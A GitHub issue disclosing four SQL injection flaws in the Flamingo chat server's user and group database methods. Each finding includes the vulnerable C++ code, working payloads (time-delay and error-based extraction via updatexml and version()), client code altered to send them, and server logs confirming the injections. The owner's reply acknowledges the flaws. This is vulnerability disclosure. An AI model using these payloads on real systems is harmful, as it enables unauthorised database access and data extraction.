

New issue

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There are security risks in the operation of the server on the database #47

Closed marckwei opened this issue on Nov 27, 2020 · 1 comment

marckwei commented on Nov 27, 2020

issue 1

Vulnerability

There is a SQL injection vulnerability in the UserManager::addUser method.
The related business corresponding to the method is the registered account.
userid, username, nickname can be controlled, no filtering measures, and directly execute the entire SQL statement.

Looking at the code, it is found that the client does not encrypt the transmission data, and the registration information is returned to the server in clear text. Therefore, it can be injected directly in the client registration window.

```
bool UserManager::addUser(User& u)
{
    ...
    ...
    char sql[256] = { 0 };
    snprintf(sql, 256, "INSERT INTO t_user(f_user_id, f_username, f_nickname, f_password, f_register_time) VALUES(%d, '%s', '%s', '%s', NOW())", m_baseUserId.load(), u.username.c_str(),
    if (!pConn->execute(sql))
    {
        LOGW("insert user error, sql: %s", sql);
        return false;
    }
    ...
}
```

Poc

payload: ad','ad','ads',sleep(10));# Or ad','ad','ads',user());#

```
[INFO][[2020-11-27 02:16:34:086]][140149912139520][mnt/hgfs/starcross/CVE/flam
ngo-master/flamingoserver/chatserversrc/ChatSession.cpp:170]Request from client:
userid=0, cmd=1001, seq=0, data={"username": "ad','ad','ads',sleep(10));#", "ni
ckname": "hacker", "password": "123"}, datalength=84, buflength=99

[INFO][[2020-11-27 02:16:44:279]][140149912139520][mnt/hgfs/starcross/CVE/flam
ngo-master/flamingoserver/chatserversrc/ChatSession.cpp:422]Response to client:
cmd=msg_type_register, data: {"code": 0, "msg": "ok"}. client: 192.168.204.1:134
51

[ERROR][[2020-11-27 02:12:36:503]][139895361271552][mnt/hgfs/starcross/CVE/flam
ngo-master/flamingoserver/mysqlapi/DatabaseMysql.cpp:197]sql error: Incorrect d
atetime value: 'root@121.69.88.230' for column 'flamingoIM`.`t_user`.`f_register
_time' at row 1, sql: INSERT INTO t_user(f_user_id, f_username, f_nickname, f_pa
ssword, f_register_time) VALUES(106, 'ad','ad','ads',user());#', '123', '123', N
OW())
```

issue 2

Vulnerability

There is a SQL injection vulnerability in the `UserManager::updateUserTeamInfoInDbAndMemory` method.

`newteaminfo` can be controlled

```
bool UserManager::updateUserTeamInfoInDbAndMemory(int32_t userid, const std::string& newteaminfo)
{
    ....
    ....
    std::ostringstream osSql;
    osSql << "UPDATE t_user SET f_teaminfo="
        << newteaminfo << " WHERE f_user_id="
        << userid;
    if (!pConn->execute(osSql.str().c_str()))
    {
        LOGE("Update Team Info error, sql: %s", osSql.str().c_str());
        return false;
    }
    ....
    ....
}
```

Poc

The client has an input length limit, but the defense of the client is invalid. Hard code the payload into the program.

payload: `1"}]' or updatexml(2,concat(0x7e,version()),0) or '`

```
...
448 void CSendMsgThread::HandleCreateNewGroup(const CCreateNewGroupRequest* pCreateNewGroup)
449 {
450     if(pCreateNewGroup == NULL)
451         return;
452
453     char szData[256] = { 0 };
454     sprintf_s(szData, ARRAYSIZE(szData), "{ \"groupname\": \"%1' '\"'1'.version():#\" \", \"type\": 0 }", pCreateNewGroup->m_szGroupName);
455     std::string outbuf;
456     net::BinaryStreamWriter writeStream(&outbuf);
457     writeStream.WriteInt32(msg_type_creategroup);
458     writeStream.WriteInt32(m_seq);
459     writeStream.WriteString(szData, strlen(szData));
460     writeStream.Flush();
461
462     LOG_INFO("Request to create new group, data=%s", szData);
463
464     CIUSocket::GetInstance().Send(outbuf);
465 }
```

```
[ERROR][[2020-11-27 01:54:38:755]][139895369664256][mnt/hgfs/starcross/CVE/flam
ingo-master/flamingoserver/mysqlapl/DatabaseMysql.cpp:197]sql error: XPATH synta
x error: '-10.3.17-MariaDB', sql: UPDATE t_user SET f_teaminfo='{{"members":[],
teanname":"My Friends"},{"members":[],"teanname":"test"},{"members":[],"teanname
":"1"}]' or updatexml(2, concat(0x7e, version()),0) or ''}' WHERE f_user_id=100
```

issue 3

Vulnerability

There is a SQL injection vulnerability in the `UserManager::addGroup` method.

`groupname` can be controlled

```
bool UserManager::addGroup(const char* groupname, int32_t ownerid, int32_t& groupid)
{
    ....
    ....
    ++m_baseGroupId;
    char sql[256] = { 0 };
    snprintf(sql, 256, "INSERT INTO t_user(f_user_id, f_username, f_nickname, f_password, f_owner_id, f_register_time) VALUES(%d, '%d', '%s', '', %d, NOW())", m_baseGroupId.load(), m
    if (!pConn->execute(sql))
    {
        LOGE("insert group error, sql: %s", sql);
        return false;
    }
    ....
    ....
}
```

Create a group chat function can trigger this function.



```
payload: 1','1',version());#
```

The client has an input length limit, but the defense of the client is invalid. Hard code the payload into the program.

Find the place where the client sends the json, and hard code the payload in.

```
448 void CSendMsgThread::HandleCreateNewGroup(const CCreateNewGroupRequest* pCreateNewGroup)
449 {
450     if(pCreateNewGroup == NULL)
451         return;
452
453     char szData[256] = { 0 };
454     sprintf_s(szData, ARRAYSIZE(szData), "{ \"groupname\": \"1','1',version(),#\", \"type\": 0\", pCreateNewGroup->m_szGroupName);
455     std::string outbuf;
456     net::BinaryStreamWriter writeStream(&outbuf);
457     writeStream.WriteInt32(msg_type_creategroup);
458     writeStream.WriteInt32(m_seq);
459     writeStream.WriteString(szData, strlen(szData));
460     writeStream.Flush();
461
462     LOG_INFO("Request to create new group, data=%s", szData);
463
464     CIUSocket::GetInstance().Send(outbuf);
465 }
466
```

```
[ERROR][[2020-11-27 01:32:23:497]][139895394842368][/mnt/hgfs/starcross/CVE/flamingo-master/flamingoserver/mysqlapi/DatabaseMySQL.cpp:197]sql error: Incorrect datatype value: '10.3.17-MariaDB' for column 'flamingoIM'.t_user'.f_register_time' at row 1, sql: INSERT INTO t_user(f_user_id, f_username, f_nickname, f_password, f_owner_id, f_register_time) VALUES(268435473, '268435473', '1','1',version());#', '1', 100, NOW())
```

issue 4

Vulnerability

There is a SQL injection vulnerability in the UserManager::updateUserInfoInDb method.

```
bool UserManager::updateUserInfoInDb(int32_t userid, const User& newuserinfo)
{
    ---
    std::ostringstream osSql;
    osSql << "UPDATE t_user SET f_nickname="
        << newuserinfo.nickname << ", f_facetype="
        << newuserinfo.facetype << ", f_customface="
        << newuserinfo.customface << ", f_gender="
        << newuserinfo.gender << ", f_birthday="
        << newuserinfo.birthday << ", f_signature="
        << newuserinfo.signature << ", f_address="
        << newuserinfo.address << ", f_phonenumber="
        << newuserinfo.phonenumber << ", f_mail="
        << newuserinfo.mail << " WHERE f_user_id="
        << userid;
    if (!pConn->execute(osSql.str().c_str()))
    {
        LOGE("UpdateUserInfo error, sql: %s", osSql.str().c_str());
        return false;
    }
    ---
}
```

Poc

```
payload: 1' or updatexml(2,concat(0x7e,version()),0) or'
```

我的资料

昵称: dddd

账号: 1005

性别: ☒ 男 ☐ 女

生日: 1990/ 1/ 1

签名: 1' or updatexml(2,concat(0x7e,version()),0) or'

地址:

电话:

邮箱:

系统头像 自定义头像

确定 取消

```
[ERROR][[2020-11-27 01:15:12:460]][139895352878848][mnt/hgfs/starcross/CVE/flamingo-master/flamingoserver/mysqlapi/DatabaseMysql.cpp:197]sql error: XPATH syntax error: '-10.3.17-MariaDB', sql: UPDATE t_user SET f_nickname='dddd', f_facetype=0, f_customface='', f_gender=0, f_birthday=19900101, f_signature='1' or updatexml(2,concat(0x7e,version()),0) or 'T', f_address='', f_phonenumber='', f_mail=''' WHERE f_user_id=100
```

balloonwj commented on Dec 1, 2020

Owner

yes, you are right. If you use flamingo for commercial use, remember to enhance this. Not adding this additional checks and enhancement is just for simplicity for users who study it. @marckwei

balloonwj closed this as completed on Dec 1, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

